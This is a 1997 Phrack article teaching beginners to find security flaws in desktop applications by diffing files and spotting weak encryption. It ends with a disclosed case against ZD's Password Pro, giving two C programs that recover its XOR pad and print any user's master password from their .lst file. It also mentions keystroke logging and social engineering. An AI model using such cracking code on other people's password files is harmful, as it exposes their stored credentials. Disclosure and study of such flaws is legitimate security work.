.oO Phrack 50 Oo. Volume Seven, Issue Fifty 12 of 16 PC Application Level Security by Sideshow Bob I. Introduction In the past, hackers interested in security have focused most of their efforts in finding and exploiting security holes in networking related operating systems, protocols, and applications. I would like to suggest another arena of hacking that might be of interest to emerging hackers. Although the Internet is certainly a great place to hack, you can also find a world of hacking sitting right on the computer at your desk. This article is really aimed at a broad and young audience, for cryptographers of tomorrow, not today. The fundamental problem with the lack of security in applications today is that people just don't care. Companies that produce security software do care about security, but most software available today has some component of security in them, written by programmers who do not understand or care about security. When a consumer uses a piece of software that has advertised security features, they do not have the knowledge or power to determine if the security in that software is effective, or waiting to be exploited. There are literally thousands of applications out there for PCs right now, and many of them have security problems just waiting to be discovered. In this article, I hope to provide interested new hackers the motivation and knowledge to go out and explore PC applications they have access to in order to determine if they have security problems. Giving out exploits is definitely NOT the goal of this article, I decided to provide one example to show the process at work, but I leave it up to the readers to go out and hack for themselves. If you find security holes of your own in PC applications, I strongly encourage you to inform the companies involved, and post your findings in an appropriate public forum. If you learn from this article, helping the security community by letting other people know about security problems in PC software is the greatest compliment you could give me. II. Finding an Candidate Just exactly what I am talking about when I say PC application security? First off, I am talking about mass consumer operating systems. Unix and NT are being examined by many security people today in great depth for security holes, and there is definitely a good reason for that, but this article is focused on the computers sitting at most people's desks. Windows and Mac-OS are both widely used legitimate operating systems. Some security people might tell you if you care about security, don't run Windows '95. That is an easy answer, it is far easier to build secure applications on top of more secure operating systems. But that does not address the realistic security threats that exist on these operating systems. The fact is, nobody is going to ruin your life, steal your money, or cause millions in harm solely because of a vulnerability in one of these programs. But as a consumer, you should expect and DEMAND that when someone tells you their program is secure that they aren't flat out lying to your face. When someone tells you your personal information you enter into a program is protected by a password, you should DEMAND that without that password, your data is protected from your family, your friends, and even a friendly visit from your local law enforcement agency. What programs should you look for with security holes? Quite simply, anything that claims to have any security in it. The most obvious tip-off is anything with passwords. In addition, anything that has users, restricts access, or claims to protect your data. Encryption and authentication are big buzzwords that someone is messing with security. Look on your hard drive, look in computer stores, look on the Internet for shareware and freeware (if its free, its ok if it lies about what it does? I don't think so.). Not every program has any element of security in it, but lots do. Not every program you find will have security holes, but if you spend enough time and look at enough programs, you are going to find a lot that do. I would especially encourage you to not limit yourself to high-profile, popular applications. Certainly those are viable candidates, but there are a lot more choices than that. If you have found an application, now you are ready to hack! III. Finding Vulnerabilities A. Application Purpose You have found a candidate application, and now you want to find out if it is insecure. The first thing you want to do is to learn how the program works. The worst of the worst applications will allow you to subvert security directly from within the application. An example of this was the first version of Microsoft "Bob". After incorrectly entering your password too many times, Bob would wisely figure out that you forgot your password and ask you if you wanted to change it. Determine what the goal of the security in the application is. Generally this will be to protect sensitive information in the program. For the candidate application, determine what information is being protected. It might only be a small sub-set of the data, or perhaps all of it. Often the product won't tell you what it is trying to protect, so you will need to do some digging inside the program to discover it. Some programs might let anyone read data, but only authorized users modify it. Other programs might let anyone enter in new data, but only authorized users read what has been entered. Another program might let anyone read and enter in new data, but only let authorized users delete individual entries (in an insecure OS, anyone could delete the entire database, but that does not imply one could selectively remove information from a database). B. User Interaction Next, figure out all the different elements of the program that allow the user to interact with the security module of the program. Where does it ask for usernames? Where does it ask for passwords? Can I change a password? Can I remove a password? Can I password protect different parts of a file? Do I have any options as to what kind of security is employed? Can I disable security altogether? Do I protect a file, a database, a user? This is the typical user level interaction with the program. I would not even attempt to start digging at a lower level of the program until you are an expert on how the program functions at the user interface level. C. Digging Deeper Now that you have comprehensively examined and understand the program at the normal user level, you are ready to start hacking, and that means figure out how the program works. Now, if you are extremely fortunate, you may have source code to the program and will be able to simply read that source and fully understand how it works. Another method for figuring out how the program works is to disassemble the program and read through the assembly code of the program as it executes. This is a reasonable method and sometimes the best, but it requires a thorough understanding of assembly language and in order to make this article accessible to anyone interested, I am going to ignore that possibility. If you are interested in doing so, I suggest picking up a good book on assembly and a high quality debugging tool. If you have the most typical application of security in your application, the security is meant to protect some sensitive information. Somewhere on your hard drive, in some form, is that sensitive information: Find It! Usually this isn't hard, you install the application somewhere and if it is well behaved it doesn't put the data in some random location on your hard drive (but be forewarned, some do exactly to confuse you at this step). Start out with a fresh installation of the software on your drive, and then enter some data into the application, and see what changed. Now you should know what file(s) data gets written out to. D. File Modifications Look at the directory listings, sometimes the filename itself is a clue. Save directory listings out to a file, and then make some modification in the program (and save), and make another directory listing. For each listing, write down what you did between that and the last listing. Now you have a bunch of directory listings, which may or may not help you. You need to try and interpret this data to tell if there is anything you can learn about how the program works. In the worst case (for you), absolutely nothing will change. Usually at least timestamps on the files will change, telling you what files were written to. Does every user or database you enter get written to a new file which is the name of the user, or does it all get written to one file? Does each new entry create a new file? Does one file get bigger by a fixed amount of size for each entry you add? Is each file created the same size? Do you recognize the extension of the file? E. File Contents If you have made any progress at all by this point, you should be able to narrow down what file or files you need to examine in more depth. The best thing to do is to just look at the files. There are two things you need at this point: a good hex viewer and a good diff utility. The hex viewer should let you know look at both the ASCII text and binary contents of the file; for DOS something like the shareware List utility is good. A diff utility will take 2 or more files as input and tell you what has changed between them. This will automate telling you what has changed in the files when you make a change in the data. Quite simply, use these two utilities. Take a look inside the files that you KNOW have to contain the sensitive data. Now if a program is meant to protect you from reading the data and your hex viewer is sitting there and you see it all in front of your face, you have found a problem. If you change an 'a' to a 'b' in the application and one byte of data is incremented one byte in the file, you are getting closer. In many cases, you will need to enter in a lot of data into the application and compare numerous resulting files in order to figure out exactly what and where things change. If data is being protected, the worst case (for you) is that it is actually being encrypted with a known secure algorithm. Does that mean it is secure? No, through thorough cryptanalysis, serious computing power, or implementation flaws, one might still be able to read the data. But this sort of analysis is left to professionals in that field, and not the target of this article. For you, you may have to find alternative methods to gain access which are probably far easier to begin with. This might mean keystroke logging, social engineering, or simply trying to brute force attack the situation. A more common situation is that some, but not all of the data is being encrypted. You will very likely be able to extract sensitive information that the users of the program thinks is sensitive and should be secure, but the application programmer's decided was not part of the sensitive date. Not clearly communicating what is being protected and what isn't should be an indication that everything is being protected, but that is very often not the case at all. Another common situation is that the data is being poorly encrypted. This is usually the case if you can't read the data in text in the files, but you are able to pick up clear patterns of what is being changed. Good encryption should make data that looks 'random', if what you are looking at looks decidedly not random, there is a problem. IV. Exploiting Vulnerabilities I will finish up this article with an example of how to work through this process from finding a program to exploiting the vulnerability. Ziff-Davis Interactive has been advertising and offering a free Windows utility known as "Password Pro" for the sole purpose of letting Windows users maintain passwords in a central database securely. On the Internet today, people (not to mention hackers) have accounts on numerous machines and managing the passwords for all of these systems is not a trivial task. With the increasing popularity of requiring registration to gain access to all the features of a web site, users are accumulating more and more accounts than ever before. In the past, users have taken on several solutions to this problem. Some people use the same account name and password everywhere they go. Obviously this presents a major security problem, as there is no way to guarantee the security of any one of the accounts that they use, much less all of them. If their password is compromised, it is an even more daunting task to change the password on every site that is being used. Still, this requires a user maintain a list of systems they have accounts on, and with more people using the net everyday, it is inevitable that some people will attempt to use the same account name. Another possible solution people have used is to maintain a cleartext file on their system, or a physical notebook that has a list of usernames and passwords. Using paper and pen certainly will eliminate hackers over the Internet from gaining access, but if you have ever seen War Games you know that crackers are not above physically snooping around your home or office in order to find out passwords. Leaving a plaintext file on your system is an even worse solution. If you are running an insecure operating system such as DOS or Windows '95, anyone that can sit down at your computer will be able to read it. Even with Windows NT or a Unix operating system, you do not want anyone that can gain administrator/root access to the machine to immediately gain access to every machine on the Internet that you have an account on. While there is no perfect solution preventing someone with root access to the box you are using from snooping your keystrokes or sniffing your sessions, it is certainly more work to do so than to simply read a cleartext file. So, it is clear that for many users on the Internet today, there is a definite use for the type of utility that ZD Net is providing. Further, as will be explained in this article, there are definitely fairly secure methods of writing and using such a database. It is unfortunate that Ziff-Davis has implemented this tool in such a manner as to actually make it easier for people to obtain users' account names and passwords. The author of this utility was informed through appropriate channels of this vulnerability in his software and as of the release of this article, an upgraded version with a well known encryption algorithm should be available. All of my work with regards to Password Pro was done by modifying accounts and entries through the normal operation of the program, and then viewing the changes that were made to the corresponding .lst files. At no point did I attempt to disassemble the Password Pro code, although that would have resulted in the same ultimate findings. For each user on a machine that wishes to use Password Pro, a file is created in the Password Pro directory with a filename of .lst. When you first start-up Password Pro, it prompts you for a username and password. When you enter a filename, it looks for a file with the .lst extension matching that username. If it finds the file, it then reads the password that you are prompted for, and attempts to validate the password with the one stored in the file. If the file does not exist, the user is asked if he wants to create a new account; if so he can then enter and confirm a password and a file is created. The file format of the user .lst files is proprietary. When the file is first created, it is 32 bytes in length. Users can then add entries to the file which contain a system name, account name, password, and password expiration. Adding a single entry to a new .lst file increases the file size to 166 bytes. Viewing the file showed that the Password Pro password did not show up in plaintext anywhere in the file, nor did any of the passwords for the systems that users had entered. System names and account names were however in plaintext; my first disappointment in examining the security of the program. My first thoughts with regards to the file format was simply that the password was stored in the first 32 bytes of the file, and the entries were stored in fixed length structures beyond that. If each entry's password was actually encrypted with the password that was entered by the user, there would be no way to directly view the contents of the file. At this point in time, I had no idea if this was the case or not, but if it proved to be true, there would still be other options available in attempting to read the entries, such as a dictionary attack. To test my first theory, I created a user, blue, that I would attempt to break the security on. I used the password "password", obviously a poor choice for a real application but since I was not going to mount a dictionary attack at this point, it was irrelevant. I added an entry for this user for a fictitious system, account name, and password. I then created a user, hacker, with no password on his account, and on database entries. On my filesystem I then had a 166 byte blue.lst file and a 32 byte hacker.lst file. In order to merge the two files into one, I used the commands: C:\PASSWORD> tail --bytes=134 blue.lst > blue.end C:\PASSWORD> copy /b hacker.lst+blue.end > hacked.lst I then loaded up Password Pro and attempted the username 'hacked'. It prompted for a password and when I attempted none, it prompted me again. It was clear that cracking this program was not going to be quite that trivial. It was clear that all of the information necessary to attack the password was being stored somewhere in those first 32 bytes. The easiest way to scramble the password would be a bit-shift (rot-13) or to XOR the password with a single character. If this was true, the password 'password' should show the two consecutive 's' characters as being the same value. I looked through the hex dump of the file to see if this appeared to be true, and it wasn't. The next complication in encryption is to XOR the files with a 'pad'. This would mean that each letter in the password would be XOR-ed with a different byte, up to the length of the pad, and then it would start over XORing with the first letter of the pad, and so on. If this were the case, changing one letter in my password would only change one byte in the file. I created a password of 'pastword' and diffed the files; only 1 byte changed. This looked promising, so it was time to extract the 'pad' from the file. For an eight letter password, I need to find out what the 8 bytes being used to XOR the file are. The way to do this is to simply take a file the program creates with a known password, and XOR the file with the password, resulting in the pad. This reverses what the program originally did, which was XOR the password with the pad to create the file. <++> pwp-pad.c /* pwp-pad.c - ZD Password Pro for Windows Pad Reader (1/14/97) * * Syntax: pwp-pad filename.lst password * * Given a database file created by Password Pro and the password entered to * protect the file, outputs the pad being used by Password Pro to encrypt * files. * */ #include main(int argc, char **argv) { FILE *fpass; char pbuf[32], inbuf[32]; char *password, *pptr; int i; /* check command line arguments */ if(argc < 3) { fprintf(stderr, "Syntax: %s filename.lst password\n", argv[0]); exit(1); } password = argv[2]; /* open the file */ fpass = fopen(argv[1],"r"); if(!fpass) { fprintf(stderr, "Unable to open file %s\n", argv[1]); exit(1); } /* read from file */ if(fread(pbuf, 1, 32, fpass) != 32) { fprintf(stderr, "Unable to read password entry from file.\n"); exit(1); } /* output pad by xor file contents with password from command line */ printf("Pad: "); for(i=0; i<32 && pbuf[i]; i++) { pbuf[i] ^= password[i]; printf("%x ", 0xff & pbuf[i]); } printf("\n"); } <--> Now that we have the pad, the next step is to use that pad to actually crack the contents of someone else's file. The way we do that is by taking someone's lst file that we don't know the password for, and XORing the start of the file with the pad. This will result in the password that they stored the file with, which we can then enter into the program to view the contents. <++> /* pwp-crack.c - ZD Password Pro for Windows Cracker (1/14/97) * * Syntax: pwp-crack filename.lst * * Outputs the password entered by the user of Password Pro to protect others * from reading the contents of their account and password database. * */ #include main(int argc, char **argv) { FILE *fin; char inbuf[32]; char pad[] = { 0x38, 0x17, 0x2b, 0x8c, 0x59, 0xaf, 0xe6, 0x03, 0x61, 0x85 }; int i; if(argc < 2) { fprintf(stderr, "Syntax: %s filename.lst\n\n", argv[0]); exit(1); } fin = fopen(argv[1],"r"); if(!fin) { fprintf(stderr, "Unable to open %s for reading\n", argv[1]); exit(1); } if(fread(inbuf, 1, 32, fin) != 32) { fprintf(stderr, "Unable to read password from file.\n"); exit(1); } printf("Password: "); for(i=0; i<32 && inbuf[i]; i++) { inbuf[i] ^= pad[i % sizeof(pad)]; printf("%c", inbuf[i]); } printf("\n"); } <--> V. Conclusion If you are interested in any of this, I strongly encourage you to go out and find holes and write exploits on your own. I'm sure Phrack would love to hear about any findings you make, so let us know how you are doing. If you are a software developer and are interested in avoiding become a victim of one of Phrack's budding hackers, or just want to learn more about practical crytography, I suggest you pick up a copy of Bruce Schneier's Applied Cryptography available at any big bookstore. EOF